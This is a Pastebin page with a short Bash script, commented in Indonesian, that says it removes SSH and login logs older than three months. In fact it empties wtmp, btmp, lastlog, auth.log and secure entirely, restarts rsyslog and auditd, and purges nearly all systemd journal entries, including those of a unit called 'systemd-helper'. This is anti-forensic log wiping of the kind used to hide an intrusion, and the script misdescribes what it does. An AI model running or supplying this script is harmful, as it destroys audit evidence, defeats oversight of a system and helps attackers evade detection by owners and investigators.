Advertisement
b3gund4L

clear

Mar 27th, 2025 (edited)
429
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 1.17 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. echo "Menghapus log SSH dan login sebelum 3 bulan yang lalu..."
  4.  
  5. # Kosongkan log login jika file ada
  6. [ -f /var/log/wtmp ] && > /var/log/wtmp
  7. [ -f /var/log/btmp ] && > /var/log/btmp
  8. [ -f /var/log/lastlog ] && > /var/log/lastlog
  9. echo "Log wtmp, btmp, dan lastlog telah dikosongkan."
  10.  
  11. # Kosongkan log autentikasi SSH jika file ada
  12. [ -f /var/log/auth.log ] && > /var/log/auth.log  # Debian/Ubuntu
  13. [ -f /var/log/secure ] && > /var/log/secure      # CentOS/RHEL
  14. echo "Log autentikasi SSH telah dikosongkan."
  15.  
  16. # Kosongkan log journalctl lebih dari 3 bulan
  17. journalctl --vacuum-time=3months
  18. echo "Log journalctl telah dibersihkan."
  19.  
  20. # Restart layanan logging untuk memastikan log baru berjalan dengan bersih
  21. echo "Restart layanan logging..."
  22. service rsyslog restart
  23.  
  24. # Cek apakah auditd ada sebelum restart
  25. if systemctl list-units --full --all | grep -q "auditd.service"; then
  26.     service auditd restart
  27. fi
  28.  
  29. echo "Layanan logging telah direstart."
  30.  
  31. # Pembersihan tambahan untuk journalctl
  32. journalctl --vacuum-time=1s
  33. journalctl --unit=systemd-helper --rotate
  34. journalctl --unit=systemd-helper --vacuum-time=1s
  35. echo "Pembersihan tambahan journalctl selesai."
  36.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement